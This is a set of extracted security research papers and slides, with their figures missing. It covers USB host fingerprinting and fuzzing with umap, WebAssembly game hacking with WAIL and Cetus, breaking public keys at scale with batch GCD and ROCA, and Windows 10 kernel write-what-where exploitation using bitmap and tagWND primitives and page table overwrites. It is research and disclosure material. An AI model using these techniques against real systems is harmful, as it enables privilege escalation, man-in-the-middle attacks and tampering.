Figure 2: Enumeration stops at “Set Configuration” when a device class is not supported
However, if the device is supported then class-specific communication starts after the “Set
Configuration” command, as can be seen in the example of a HID device in Figure 3 (the class-
specific communication is highlighted by the green box).
Figure 3: Enumeration continues past “Set Configuration” when a device class is supported
Device class drivers are also referenced by their vendor ID (VID) and product ID (PID). If a specific
device driver has been installed for a USB device then the host can reference this driver by using a
combination of the class information, the VID and the PID, which are located in the device descriptor,
as shown in Table 12.
NCC Group | Page 13
© Copyright 2013 NCC Group
Table 12: VID and PID information in a Device descriptor
New VID and PID values must be registered with the USB Implementers Forum [USBIF] and are
maintained in a number of public repositories. This information can be used to perform a brute-force
attack against the host to identify any specific drivers that have been installed; however, this can be
a very slow process.
6.3 Other Devices Already Connected
When testing a host that may have other devices, such as an HSPA modem, connected internally to
the USB bus, these can be detected by sniffing the USB bus and looking for devices that are
communicating using different addresses than that of the attached device, as shown in Figure 4.
Figure 4: A Packet-master capture showing multiple USB devices connected to the same bus
One area of future research is to investigate if, using the Facedancer board to emulate the host to
which it is connected, descriptor requests could be sent to these other devices to identify more
information about them. Also, what happens if the Facedancer is configured to impersonate an
already-connected device?
Field
Value
Meaning
bLength
18
Descriptor length (including the bLength field)
bDescriptorType
1
Device descriptor
bcdUSB
0x0110
Spec version
bDeviceClass
0x00
Class information stored in Interface descriptor
bDeviceSubClass
0x00
Class information stored in Interface descriptor
bDeviceProtocol
0x00
Class information stored in Interface descriptor
bMaxPacketSize0
8
Max EP0 packet size
idVendor
0x04DA
Panasonic Corporation
idProduct
0x2372
Lumix DMC-FZ10 Camera
NCC Group | Page 14
© Copyright 2013 NCC Group
7 Fingerprinting Techniques
One of the targets of this research was to identify operating system and application information by
observing USB stack interactions and sometimes using active techniques to prompt the host to
perform different actions that may reveal useful information. This section will detail some of the
techniques that were developed to do this.
7.1 Operating System Identification
Figures 5 and 6 show the start of class-specific communication once the enumeration phase has
been completed for two different hosts. As you can clearly see, the class-specific commands used
and the order in which the commands are issued are completely different for the two hosts and this
technique can therefore be used to differentiate between different operating systems.
Note: The commands and the order of commands are the same each time a device is presented to
the hosts
Figure 5: Linux-based TV Set-Top-Box Figure 6: Windows 8
Other examples of unique behaviour of different operating systems:
Windows 8 (HID) – Three “Get Configuration descriptor” requests (others have two)
Apple OS X Lion (HID) – “Set Feature” request right after “Set Configuration”
FreeBSD 5.3 (HID) – “Get Status” request right before “Set Configuration”
Further research in this area is expected to reveal techniques that will allow for more granular
identification to be performed.
7.2 Application Identification
Applications that use USB devices to provide input (e.g. photo management applications) can also
reveal useful information, as shown in Figures 7 and 8.
NCC Group | Page 15
© Copyright 2013 NCC Group
Figure 7: gphoto2 (Linux) Figure 8: “Photos” Metro app (Windows 8)
Figures 7 and 8 not only show that these two applications use different class-specific commands but
the “Device Property” command sent by the host in Figure 8 contains the following data:
/Windows/6.2.9200 MTPClassDriver/6.2.9200.16384
This is specific information about the version of the operating system running on the host (Version
6.2 is the Microsoft internal representation for Windows 8 and 9200.16384 is the exact build revision).
7.3 Timing Information
The Packet-master analyser can differentiate between events occurring on the USB bus down to the
microsecond. Figure 9 shows the capture information for five enumerations with the same device
and same host.
NCC Group | Page 16
© Copyright 2013 NCC Group
Figure 9: USB timing information during enumeration
Across the entire enumeration phase there is a large amount of variance between the times to
enumerate the device. However, if the time is measured between specific requests e.g. between the
requests for String descriptor 0 and String descriptor 2, something more interesting can be seen:
5002us, 5003us, 5003us, 4999us, 5001us
There is a maximum variance of 4 microseconds. Therefore, if the operating system is known can
information be gleaned about the speed of the host? This hypothesis is still under investigation.
7.4 Descriptor Types Requested
Some operating systems have implemented their own USB descriptors —for example Microsoft has
Microsoft OS descriptors (MODs). These were apparently developed for use with unusual device
classes. Devices that support Microsoft OS descriptors must store a special string descriptor in
firmware at the fixed string index of 0xee. The request is shown in Table 13.
Table 13: Microsoft OS descriptor request
bmRequestType
bRequest
wValue
wIndex
wLength
Data
10000000B
GET_DESCRIPTOR
0x03ee
0x0000
0x12
Returned
String
NCC Group | Page 17
© Copyright 2013 NCC Group
If a device does not contain a valid string descriptor at index 0xee, it must respond with a stall packet.
If the device does not respond with a stall packet, the system will issue a single-ended zero reset
packet to the device, to help it recover from its stalled state (this is for Windows XP only).
7.5 Responses to Invalid Data
Earlier in the paper we mentioned that the ability to send completely arbitrary USB packets to the
host was required to determine how each host responds when a reply to one of its requests contains
invalid data. Examples of invalid data include:
•
Maximum and minimum values
•
Logically incorrect values
•
Missing data
During the research, various behaviours were observed as a result of sending this data. In some
cases different “handled” error conditions occurred; however in many other situations unhandled
errors were observed in the form of application errors, kernel panics and bug checks. The
conclusions drawn from this area of the research were that invalid data was most useful in fuzzer
test-cases for identifying bugs and potential security vulnerabilities.
8 Umap
A tool was developed to demonstrate many of the techniques described in this paper and forms the
basis for a comprehensive USB security testing tool. Umap is written in Python and builds on the
sample code provided with the Facedancer board. Figure 10 shows the basic help information.
Figure 10: Umap basic help
Figure 11 shows the various USB device class types that umap currently understands.
NCC Group | Page 18
© Copyright 2013 NCC Group
Figure 11: The USB device classes that umap currently understands
Figure 12 shows umap identifying supported classes, sub-classes, and protocols
Figure 12: Umap identifying supported classes, sub-classes and protocols
NCC Group | Page 19
© Copyright 2013 NCC Group
Figure 13 shows the umap VID/PID lookup capability.
Figure 13: The umap VID/PID lookup facility
Figure 14 shows umap performing operating system identification using some of the techniques
described earlier in this paper.
Figure 14: The umap operating system identification capability
NCC Group | Page 20
© Copyright 2013 NCC Group
Figure 15 shows umap emulating an image class device (a digital stills camera).
Figure 15: Umap emulating a USB camera
Umap includes a large database of both generic and class-specific fuzzer test-cases, samples of
which are shown in Figures 16 and 17.
NCC Group | Page 21
© Copyright 2013 NCC Group
Figure 16: Generic USB fuzz test cases
Figure 17: Class-specific USB fuzz test cases
NCC Group | Page 22
© Copyright 2013 NCC Group
Figure 18 shows umap fuzzing a USB host.
Figure 18: Umap fuzzing a USB host
NCC Group | Page 23
© Copyright 2013 NCC Group
9 Conclusions
The goal of this research was to identify ways of revealing configuration information about a
connected USB host. This is useful because it allows us to streamline any subsequent fuzzing
process by identifying supported USB functionality, and to enumerate operating system and
application information that may be useful for other security testing. The major problem with trying to
identify information about the configuration of the host is that USB is a master–slave relationship and
the device is the slave, so a device cannot query a host.
By emulating specific USB device classes such as mass storage and printer, it was possible to
identify which generic class drivers were supported by the connected host. This process was refined
to also emulate (and therefore identify) supported sub-classes and protocols. In order to identify non-
generic class drivers, which are referenced by their vendor and product IDs, a brute force approach
was demonstrated which uses the public VID/PID database.
Due to the complexity of the USB protocol there are many different implementations of USB host
functionality. A number of different techniques were developed to identify a host; these included
analysing:
The order of descriptor requests
The number of times different descriptors were requested
The use of specific USB commands
Class-specific communication
These techniques demonstrated that the host operating system, and in some cases applications
running on the host, could be identified.
A tool called umap was developed during the research to demonstrate these different techniques
and also to perform targeted fuzzing once the information-gathering phase was complete. Possible
uses for umap include Endpoint Protection System configuration assessment, USB host fuzzing and
general host security audit (for USB).
NCC Group | Page 24
© Copyright 2013 NCC Group
10 References and Further Reading
Davis, Undermining Security Barriers, media.blackhat.com, <http://media.blackhat.com/bh-us-
11/Davis/BH_US_11-Davis_USB_Slides.pdf>, accessed 6 August 2013
Dominguez Vega, USB Attacks: Fun with Plug and 0wn, labs.mwrinfosecurity.com,
<http://labs.mwrinfosecurity.com/assets/135/mwri_t2-usb-fun-with-plug-and-0wn_2009-10-29.pdf>,
accessed 6 August 2013
GoodFET, GoodFET – Facedancer21, goodfet.sourceforge.net,
<http://goodfet.sourceforge.net/hardware/facedancer21/>, accessed 6 August 2013
Goodspeed, Writing a thumbdrive from scratch: Prototyping active disk antiforensics,
www.youtube.com, <http://www.youtube.com/watch?v=D8Im0_KUEf8>, accessed 6 August 2013
Larimer, Beyond Autorun: Exploiting vulnerabilities with removable storage, media.blackhat.com,
<https://media.blackhat.com/bh-dc-11/Larimer/BlackHat_DC_2011_Larimer_Vulnerabiliters_w-
removeable_storage-wp.pdf >, accessed 6 August 2013
MOD, Microsoft OS Descriptors, msdn.microsoft.com, <http://msdn.microsoft.com/en-
us/library/windows/hardware/gg463179.aspx>, accessed 6 August 2013
MQP, Packet-Master USB500 AG, www.mqp.com, <http://www.mqp.com/usb500.htm>, accessed 6
August 2013
USBIF, USB Implementers Forum, www.usb.org, < http://www.usb.org/about>, accessed 6 August
2013
11 Glossary
ATAPI - AT Attachment Packet Interface
BBB - Bulk-only transport (also called BOT)
CBI - Control/Bulk/Interrupt
CDC - Communication and Device Control
eHCI - Enhanced Host Controller Interface
HID - Human Interface Device
HSPA - High Speed Packet Access
IEE 1667 .Protocol for Authentication in Host Attachments of Transient Storage Devices
LSD FS - Lockable Storage Devices Feature Specification
MOD - Microsoft OS descriptor
oHCI - Open Host Controller Interface
PID - Product ID
QIC-157 Quarter Inch Cartridge (standard for streaming tape)
RPC - Remote Procedure Call
SCSI - Small Computer System Interface
SFF-8070i - ATAPI specification for floppy disks
UAS - USB Attached SCSI
UFI - USB Floppy Interface
uHCI - Universal Host Controller Interface
USBIF - Universal Serial Bus Implementers Forum
USB . Universal Serial Bus
VID . Vendor ID
xHCI - Extensible Host Controller Interface | pdf |
Hacking WebAssembly Games
with Binary Instrumentation
WEBASSEMBLY 101
WASM
101
> Developers have done (and continue to do)
incredible work speeding up Javascript
> However, the dynamic nature of Javascript will
always be a roadblock
> WebAssembly provides a static, pre-compiled
binary format for performance intensive
applications
WASM
101
> WebAssembly "defines an instruction set and
binary format for an assembly-like architecture"
> WebAssembly is built to be targetable by existing
compilers and languages
> Finally we can write web applications in C!
WASM
USES
> WebAssembly video games are becoming very
common
> Look at any browser game website
(Newgrounds, Kongregate, etc)
> Unity3D and Unreal Engine 4 can now both target
WebAssembly
> This means there’s a lot of targets without a lot of
tools
WASM
USES
> WebAssembly is used for a lot of types of
applications, not just video games
> Retargeted desktop applications
> 3D applications
> Crypto miners
> ...etc
> These techniques are not video game specific —
video games are just the most fun target
WASM
REVERSING
> With WebAssembly, web RE has started to feel
more like “traditional” binary RE
> Back to the disassembler!
> A few tools support WebAssembly (mostly static
analysis)
> radare2
> JEB decompiler
> wabt (WebAssemby Binary Toolkit)
WASM
REVERSING
> Browser debugging capabilities for WASM are
pretty lacking
> No watchpoints
> No conditional breakpoints
> Lots of bugs
VIDEO
GAME
REVERSING
> Video games are a unique challenge when it
comes to RE
> Video game binaries are typically much larger and
more complex than other applications
> Video games are more performance intensive, and
performance impacts are more noticeable
> No one wants to play a game at 5 FPS
> With this in mind, I was looking for a tool like
Cheat Engine for WASM
CHEAT
ENGINE
> Cheat Engine (made by Dark Byte) is effectively a
specialized debugger for hacking video games
> Cheat Engine can:
> Search memory
> Modify and “freeze” memory
> Set watchpoints
> Inject/patch code
CHEAT ENGINE 101
We want to make our character invincible. We know our character
currently has 5 health
We start by searching the game’s memory for the value 5
Then we cause the value to change and search for the new value...
...and continue this process until we’ve found our health value in
memory
Now we can manipulate our health to heal ourselves
...or give ourselves more health
...or “freeze” our health so we can’t get hurt
This process can take a while and needs to be redone every time we
play. Ideally we want to permanently patch the game
We set a watchpoint on our health address, then trigger it
Now we know where health is decremented when we get hurt
...and we can patch it out
> Cheat Engine not only helps us hack games, it can
also be significant help in RE
> Using watchpoints we can associate a value in
memory to the code that affects it
> This is an invaluable time saver reverse
engineering large applications like video games
CHEAT
ENGINE
USES
CHEAT
ENGINE
> Since WASM doesn’t have watchpoints we can’t
directly implement Cheat Engine features
> Can we emulate watchpoint behavior without
“real” watchpoints?
EMULATING
WATCH
POINTS
> First attempt: Using the browser debugger
> Place a breakpoint at each load/store instruction
and check if the access affects our “watched”
address
EMULATING
WATCH
POINTS
> First attempt: Using the browser debugger
> Place a breakpoint at each load/store instruction
and check if the access affects our “watched”
address
> Way too slow — browser becomes unusable
EMULATING
WATCH
POINTS
> To emulate watchpoints, we want to inject code
into the binary at each memory load/store
instruction
> Injected code will check if this access affects the
memory area we are “watching”
> If so, trigger our breakpoint code
> To do all this, we need to employ some form of
binary instrumentation
BINARY
INSTRUMENTATION
> In a nutshell, binary instrumentation is the process
of manipulating an application binary to aid in
analysis
> A lot of cool binary instrumentation tools exist for
other types of binaries
> Frida
> DynamoRIO
> ...others I haven’t used
> There’s even some existing tools for WASM!
BINARY
INSTRUMENTATION
101
OTHER
TOOLS
> Wasabi (by Daniel Lehmann) is a very cool
instrumentation and analysis tool for WASM
> However, it does not exactly fit our needs
> Wasabi is written in Rust and intended to be run
from the terminal
> Wasabi does its analysis by injecting Javascript
> If we want to run a game at any decent FPS, we
need to call Javascript as infrequently as possible
OTHER
TOOLS
> WABT (WebAssembly Binary Toolkit) can parse
and (to some extent) modify WASM binaries
> It’s even been compiled to Javascript!
> Unfortunately, WABT’s parsing takes too long/too
much memory for most video game binaries
OTHER
TOOLS
> What we want is a tool that:
> Can instrument binaries from within the
browser
> Can handle large (40MB+) WASM binaries
quickly and without running out of memory
WAIL
> The “WebAssembly Instrumentation Library”
(WAIL) is my attempt at a solution to this problem
> WAIL is a Javascript library focused on making
targeted modifications to WASM binaries
> Can add entries to any specification-defined
section
> Can edit existing entries of sections
> Can add/remove sections
WAIL
PARSING
> WAIL uses a couple of tricks to modify binaries
significantly faster with less memory usage than
other libraries
> WAIL only parses sections/elements that are
necessary to perform the defined modifications
> WAIL parses binaries as a “stream”
STREAM
PARSING
> The normal way of parsing a binary involves
creating a “map” of all pieces that make up the
binary
> Once this map is created, you modify the pieces
as needed and stick everything back together
> This is convenient, but also slow and memory
intensive
STREAM
PARSING
> WAIL parses binaries as a “stream” — handling
and modifying each element as soon as it is read
> This is more efficient because we don’t need to
save each element of the entire binary
> Rather, we act on a single element at a time and
then “forget” about it and move to the next
PARSING
GOTCHAS
> There are a few downsides to this approach:
> The first is that the parser can never go
“backwards”
> Once we finish parsing a particular element, we
cannot go back and make changes to it
> To deal with this, we must define all our
modifications before we start parsing
PARSING
GOTCHAS
> In some cases, one addition to a binary will require
knowledge of another
> For instance, to insert a new function into a
WASM binary we must:
> Add an element to the TYPE section
> Add an element to the FUNCTION section that
references the new TYPE element
> Add an element to the CODE section
corresponding to the new FUNCTION element
PARSING
GOTCHAS
> WAIL uses a special grammar to deal with these
cases
> Each addition we make returns a “handle” to a
value that will be resolved when parsing
> This handle can be used in subsequent
modifications
> This allows us to perform complex modifications
to binaries while still defining everything up front
> The next gotcha: the function and global
variable tables
> Functions and globals are referenced by
index into the respective table
> The function table is built by taking all
imported functions, then appending all
internal functions
> The same goes for imported and internal
globals
INDEX 0
INDEX 1
INDEX 2
INDEX 3
INDEX 4
INDEX 5
INDEX 6
INDEX 7
INDEX 8
I
M
P
O
R
T
E
D
I
N
T
E
R
N
A
L
> Therefore, if we add a new imported
function or global, we’ve thrown off all
references to internal functions/globals
INDEX 0
INDEX 1
INDEX 2
INDEX 3
NEW ELEMENT
(INDEX 4)
INDEX 5
INDEX 6
INDEX 7
INDEX 8
I
M
P
O
R
T
E
D
I
N
T
E
R
N
A
L
> WAIL fixes this automatically by changing
affected entries in the following sections:
> EXPORT
> ELEMENT
> CODE
> START
INDEX 0
INDEX 1
INDEX 2
INDEX 3
NEW ELEMENT
(INDEX 4)
INDEX 5
INDEX 6
INDEX 7
INDEX 8
I
M
P
O
R
T
E
D
I
N
T
E
R
N
A
L
> First we create two new global variables
> One for the address we are watching
> One will hold two different “flags”
> Is watchpoint enabled?
> Size of value being watched
EMULATING
WATCH
POINTS
EMULATING
WATCH
POINTS
> Next, we add an IMPORT entry for a Javascript
function
> This function will only be called when our
watchpoint is triggered
> This makes performance impact minimal
EMULATING
WATCH
POINTS
> Next we create a new internal function
> As mentioned earlier, this requires adding to the
TYPE, FUNCTION, and CODE elements
> This new function will perform the actual logic of
our watchpoints
> Check if an access overlaps with our “watched”
address
> If it does, call the “trigger” function
EMULATING
WATCH
POINTS
> Finally, we place calls to our watchpoint function
before each memory load or store instruction
> As long as we’re careful about performance, we
can apply watchpoints to games without
noticeable drop in FPS
CETUS
> Cetus is a browser extension that implements
features of Cheat Engine for WASM
> Comes from the Latin word for “sea monster”
> Cetus intercepts and instruments WASM binaries
on the fly
> Adds read/write watchpoints
> Adds “freezing” functionality
> Can apply user-defined patches
CETUS DEMO
MORE
CETUS
> Cetus can also do “differential” searching
> Used to find values when an exact starting
value is not known
> Cetus also comes with a built-in speed hack
> Works by replacing performance.now() and
Date.now()
OTHER EXAMPLES
> WAIL can also be used to trace function
calls by placing code at the beginning of
each function
> This is slow, but still fairly useful
> WAIL can also replace a function entirely
by swapping out all references to it
> For instance, we can take a WASM
function and replace it with an imported
Javascript function
> This way we can effectively patch WASM
binaries using Javascript
> WAIL can take “internal” functions of a
binary and export them
> This allows us to call the internal function
on command with arbitrary arguments
ADDING
SYMBOLS
> Using WAIL we can add our own symbols to a
binary
> There are two ways this can be done:
> Add a “name” section to the binary with our
symbols
> Add an export entry for each function we want
to name
github.com/qwokka/wail
github.com/qwokka/cetus
GAME HACKING
MONTAGE | pdf |
Reaping and breaking keys at scale:
when crypto meets big data
Nils Amiet
Yolan Romailler
August 2018 — DEF CON 26
Warning: These slides are not up to date
Get the latest slides from:
https://research.kudelskisecurity.com/
Warning: if you want to test your keys live
You can go to our website:
keylookup.kudelskisecurity.com
and submit your key to test it against our dataset!
If the key is already known, results are immediate,
otherwise you’ll have to check back later.
We’ll come back to this during our demo.
The problem
●
Asymmetric cryptography relies on two type of keys:
○
the public key, that anybody can use to encrypt/verify data.
○
the private key, that should remain secret and allows for decryption/signing of the said data.
●
Tons of public keys are out there:
○
TLS/SSL
○
SSH
○
PGP, …
●
Can public keys leak data about the private keys?
Crypto recap
●
RSA (Rivest–Shamir–Adleman)
○
Choose two large prime numbers p and q
○
Public key (n, e)
■
with n = p * q
■
and some e such that e and λ(n) are coprime
○
Private key (n, d) where d ≡ e^−1 (mod λ(n))
○
Message encryption
■
c ≡ m^e (mod n)
○
Ciphertext decryption
■
m ≡ c^d (mod n)
○
RSA security relies on the hardness of the integer factorization problem
Crypto recap (cont’d)
●
ECC (“Elliptic Curve Cryptography”)
○
Security based on the hardness of the EC discrete logarithm problem
■
It is hard to retrieve the integer d, knowing the points G and Q=dG
○
Working with an elliptic curve C
○
Private key is an integer d
○
Public key is a point Q = (x, y) = dG
■
where (x, y) are the coordinates of the point on a given known curve
Passive attacks on public keys
●
The Return of Coppersmith’s Attack (ROCA)
●
RSA modulus factorization (Batch GCD)
●
Invalid parameters
○
DSA generator
○
Key sizes
○
Invalid curve attacks
★
Batch GCD already used in 2010, 2012, 2016 to break weak keys
○
on datasets <100M keys
★
These are all known attacks!
★
And they are completely passive, the target is left unaware
Collecting public keys
●
X.509 certificates
○
HTTPS, on IPv4 range and on CT domain names (>260 million)
○
IMAP(S), POP3(S), SMTP(S)
●
SSH keys
○
Github.com, Gitlab.com
○
SSH host key scans (port 22)
●
PGP keys
○
Github.com, Keybase.io
○
Key dumps from SKS pool of PGP key servers
Keys (millions) per key container type
Keys collected per data source
●
PGP keys
○
9.5M on SKS key servers
○
220k on Keybase.io
○
6k on Github.com
●
SSH keys
○
71M from CRoCS dataset
○
17M from SSH scans
○
4.5M on Github.com
○
1.2M on Gitlab.com
●
X.509 certificates
○
> 200M from HTTPS scans
○
1-2M each from SMTP(S), POP3(S) and IMAP(S) scans
Our public keys stash: Big Brother style
●
Attacks like RSA Batch GCD work best with larger datasets
○
More keys = more chances of finding common factors
●
We collected as many public keys as we could
○
> 343,492,000 unique keys and growing
○
collection made over 1 year
Key types
●
RSA
324M
324476553
●
ECC
13M
13975895
●
DSA
2.5M
2568969
●
ElGamal
2.4M
2468739
●
GOST R 34.10-2001 1k
1759
●
Other
<1k
217
What to do with the (big) data
1.
Collect raw data
2.
Parse raw data
3.
Run additional tests on parsed data
4.
Ingest parsed data into database
5.
Run queries on distributed database
6.
???
7.
Profit
Toolbox
To collect data:
●
Fingerprinting with cert/key grabbing: Scannerl with custom modules
●
To parse it: Python code
●
To ingest it: NiFi and HDFS
●
To study it: Presto
To break keys:
●
Batch GCD on RSA keys, using a custom distributed version
●
ROCA attack on vulnerable RSA keys
●
Sanity checks on EC keys
Demo
[Live demo, using https://keylookup.kudelskisecurity.com/]
[Factoring a key with the GCD, rebuilding the private key out of the factors]
Behind the scenes
●
Distributed fingerprinting using 50 Scannerl slaves
●
Batch-GCD:
○
280 vCPUs cluster across 7 nodes
○
1.4 TB storage for intermediate results
●
Data Lake with 10+ data nodes
●
Storage: over 15TB including all raw data
Results: RSA keys
Broken keys:
●
>4k RSA keys vulnerable to ROCA
○
33% of size 2048 (weak), 64% of size 4096 (should be fine)
○
Mostly PGP keys (97%)
○
Found vulnerable keys on Keybase.io, Github.com and Gitlab.com! Check your keys!
●
>200k RSA keys factored through batch GCD
○
Real-world breakable/broken keys!
○
207k X.509 certificates, allowing for MitM attacks
■
at least 261 certs currently in use, 1493 certs used over last year
○
>1200 SSH keys, allowing for MitM attacks
○
6 PGP keys, allowing for decryption, impersonation and other evil
Results: RSA keys
Unsurprisingly, many routers are concerned:
Results: RSA keys
D-Link problem
Results: ECC keys
●
The adoption rate of ECC differs greatly depending on the source:
○
X509 and PGP are steadily adopting ECC
●
Most common curves for SSH:
○
secp256r1
97,68%
○
secp521r1
1,87%
○
Curve25519
0,37%
○
secp384r1
0,07%
Growth of ECC keys
Scan failure
Fun facts
●
Some keys are used as both PGP keys, SSH keys and/or X509 certs!
●
PGP subkey/master key ratio
○
50.5% master keys
○
49.5% subkeys
○
Most people have only one subkey?!
●
At least 361 keys we could factor had more than 2 factors!
●
DSA is dead (OpenSSL deprecated it in 2015):
○
only 3106 X.509 certs seen over last year
○
< than 0.55% of SSH keys are DSA based
Conclusion
●
Mind your keys!
●
Anybody can do the same kind of silent attack!
And maybe they already do...
●
Find our open source code on Github
○
https://github.com/kudelskisecurity
○
https://github.com/kudelskisecurity/scannerl
●
Find more results and analysis on our blog
○
https://research.kudelskisecurity.com | pdf |
1
TAKING WINDOWS 10 KERNEL EXPLOITATION TO THE NEXT LEVEL – LEVERAING WRITE-WHAT-WHERE
VULNERABILITIES IN CREATORS UPDATE
Morten Schenk [email protected]
Contents
Abstract ............................................................................................................................................................. 2
Background and Windows Kernel Exploitation History ..................................................................................... 3
Kernel Read and Write Primitives ..................................................................................................................... 4
Windows 10 Mitigations .................................................................................................................................... 7
Windows 10 1607 Mitigations ........................................................................................................................... 8
Revival of Kernel Read and Write Primitives ..................................................................................................... 8
Windows 10 1703 Mitigations ......................................................................................................................... 12
Revival of Kernel Read and Write Primitives Take 2 ....................................................................................... 14
Kernel ASLR Bypass .......................................................................................................................................... 17
Dynamic Function Location ............................................................................................................................. 22
Page Table Randomization .............................................................................................................................. 23
Executable Memory Allocation ....................................................................................................................... 25
2
Abstract
Microsoft has put significant effort into mitigating and increasing the difficulty in exploiting vulnerabilities
in Windows 10, this also applies for kernel exploits and greatly raises the bar. Most kernel exploits today
require a kernel-mode read and write primitive along with a KASLR bypass. Windows 10 Anniversary
Update and Creators Update has mitigated and broken most known techniques.
As this paper shows it is possible, despite the numerous implemented changes and mitigations, to still
make use of the bitmap and tagWND kernel-mode read and write primitives. Furthermore, KASLR bypasses
are still possible due to design issues and function pointers in kernel-mode structures.
KASLR bypasses together with kernel-mode read primitives allow for de-randomization of the Page Table
base address, which allows for reuse of the Page Table Entry overwrite technique. Additionally, it is possible
to hook kernel-mode function calls to perform kernel memory allocations of writable, readable and
executable memory and retrieving the kernel address of that memory. Using this method overwriting Page
Table Entries is not needed and any shellcode can be executed directly when it has been copied onto the
newly allocated memory pages.
The overall conclusion is that despite the increased number of mitigations and changes it is still possible to
take advantage of Write-What-Where vulnerabilities in Creators Update to gain kernel-mode execution.
3
Background and Windows Kernel Exploitation History
Kernel Exploitation has been on the rise in recent years, this is most likely a response to the increased
security in popular user-mode applications like Internet Explorer, Google Chrome and Adobe Reader. Most
of these major applications have implemented sandboxing technologies which must be escaped to gain
control of the compromised endpoint.
While sandboxing techniques are not as powerful on Windows 7, kernel exploits have an interest
nonetheless, since they allow for privilege escalation. Leveraging kernel vulnerabilities on Windows 7 is
considered rather simple, this is due to the lack of security mitigations and availability of kernel
information.
It is possible to gain information on almost any kernel object using API’s built into Windows. These include
NtQuerySystemInformation1 and EnumDeviceDrivers2 which will reveal kernel drivers base address as well
as many kernel objects or pool memory locations3. Using NtQuerySystemInformation it is quite simple to
reveal the base address of ntoskrnl.exe
Likewise, objects allocated on the big pool can also be found as described by Alex Ionescu4
While having the addresses of kernel drivers and objects is only a small part of kernel exploitation, it is
important. Another crucial factor is storing the shellcode somewhere and getting kernel-mode execution of
it. On Windows 7 the two easiest ways of storing the shellcode was to either allocate executable kernel
memory with the shellcode in place or by using user memory but executing it from kernel-mode.
Allocating executable kernel memory with arbitrary content can on Windows 7 be done using CreatePipe
and WriteFile5, since the content is stored on the NonPagedPool which is executable
1 https://msdn.microsoft.com/en-us/library/windows/desktop/ms724509(v=vs.85).aspx
2 https://msdn.microsoft.com/en-us/library/windows/desktop/ms682617(v=vs.85).aspx
3 https://recon.cx/2013/slides/Recon2013-Alex%20Ionescu-
I%20got%2099%20problems%20but%20a%20kernel%20pointer%20ain't%20one.pdf
4 http://www.alex-ionescu.com/?p=231
5 http://www.alex-ionescu.com/?p=231
4
Gaining kernel-mod execution can be achieved by either overwriting the bServerSideWindowProc bit of a
kernel-mode Window object. This causes the associated WProc function to be executed by a kernel thread
instead of a user-mode thread. A different way is by overwriting a function pointer in a virtual table, a very
commonly used one is HalDispatchTable in ntoskrnl.exe.
Windows 8.1 introduced several hardening initiatives, which resulted in increasing the difficulty of kernel
exploitation. To start with the kernel leaking API’s like NtQuerySystemInformation are blocked if called
from low integrity, which is the case when the application is running inside a sandbox. Windows 8.1 also
made the use of non-executable memory in the kernel widespread, NonPagedPool memory was generally
replaced with NonPagedPoolNx memory. Finally, Windows 8.1 introduced Supervisor Mode Execution
Prevention (SMEP), which blocks execution of code from user-mode addresses from a kernel-mode context.
These mitigations stop most exploitation techniques which are known in Windows 7, however exploitation
is still very much possible, it does require new techniques however. Windows 10 has the same mitigations
in place. The two first editions of Windows 10, which are called Windows 10 1507 and 1511 do not have
any additional mitigations in place however.
Kernel Read and Write Primitives
To overcome the mitigations put in place in Windows 8.1 and Windows 10, the concept of memory read
and write primitives known from user-mode browser exploits were adapted into kernel exploitation. Two
kernel-mode read and write primitives are the most popular and mostly used. These are coined bitmap
primitive and tagWND primitive.
The bitmap primitive makes use of the GDI object Bitmap, which in kernel-mode is called a Surface object.
The principle is to perform allocations of these Surface objects using CreateBitmap such that two bitmap
objects are placed next to each other. When this is the case a Write-What-Where vulnerability may be used
to modify the size of the first Surface object. The size of a Surface object is controlled by the sizlBitmap field
which is at offset 0x38 of the object, it consists of the bitmaps dimensions defined by a DWORD each.
When the size of the bitmap has been increased it is possible to use the API’s SetBitmapBits and
GetBitmapBits to modify the second Surface object6. The field modified is the pointer which controls where
the bitmap content is stored. This allows both read and write capabilities at arbitrary kernel memory
locations. The read and write functionality can be implemented as shown below:
6 https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives
5
To perform the overwrite using a Write-What-Where vulnerability requires knowledge of where the
Surface object is in kernel-mode. Since this must also work from Low Integrity API’s like
NtQuerySystemInformation cannot be used. It is however possible to find the address of the Surface object
through the GdiSharedHandleTable structure which is held by the Process Environment Block. The
GdiSharedHandleTable is a structure containing all GDI objects, including Surface objects. Using the handle
to the user-mode bitmap object it is possible to look up the correct entry in the table, where the kernel-
mode address of the Surface object is given.
The second read and write kernel-mode primitive was the tagWND. It uses a similar technique to the
bitmap read and write primitive, by allocating two Windows, which has corresponding kernel-mode objects
called tagWND. These tagWND objects must also be located next to each other.
A tagWND object may contain a variable size field called ExtraBytes, if the size of this field, which is called
cbWndExtra, is overwritten then it is possible to modify the next tagWND object. Using the
SetWindowLongPtr API it is now possible to modify arbitrary fields of the following tagWND object,
specifically the StrName field, which specifies the location of the title name of the Window. Using the user-
mode API’s InternalGetWindowText and NtUserDefSetText it is possible to perform read and write
operations at arbitrary kernel memory addresses7.
A write primitive may be implemented as shown below:
7 https://www.blackhat.com/docs/eu-16/materials/eu-16-Liang-Attacking-Windows-By-Windows.pdf
6
Just like with the bitmap read and write primitive, the location of the tagWND object must be known. This
is possible using the UserHandleTable presented by the exportable structure called gSharedInfo located in
User32.dll. It contains a list of all objects located in the Desktop Heap in kernel-mode, having the handle of
the user-mode Window object allows a search through the UserHandleTable, which reveals the kernel-
mode address of the associated tagWND object. An implementation is shown below:
To overcome the issue of non-executable kernel memory a technique called Page Table Entry overwrite has
become very common. The idea is to allocate shellcode at a user-mode address, resolve its corresponding
Page Table Entry and overwrite it. The Page Table contains the metadata of all virtual memory, including
bits indicating whether the memory page is executable or not and whether it is kernel memory or not.
Leveraging the kernel-mode write primitive against a Page Table Entry for an allocated page allows for
modification of execution status and kernel-mode status. It is possible to turn user-mode memory into
kernel-mode memory in regards to SMEP allowing for execution. The base address of the Page Tables is
static on Windows 8.1 and Windows 10 1507 and 1511 and the address of the Page Table Entry may be
found using the algorithm below
Performing an overwrite can also turn non-executable kernel memory into executable kernel memory
7
Windows 10 Mitigations
Once executable kernel-mode memory has been created gaining execution may be performed by the same
methods as on Windows 7.
In many instances, the base address of ntoskrnl.exe is needed, previously this was done using
NtQuerySystemInformation, but since that is no longer possible a very effective way is to use the HAL
Heap8. This was in many cases allocted at a static address and contains a pointer into ntoskrnl.exe at offset
0x448. Using the kernel-mode read primitive to read the content at address 0xFFFFFFFFFD00448 yields a
pointer into ntoskrnl.exe, this may then be used to find the base address of the driver by looking for the MZ
header, as shown below
This concludes the brief history of kernel exploitation from Windows 7 up to Windows 10 1511.
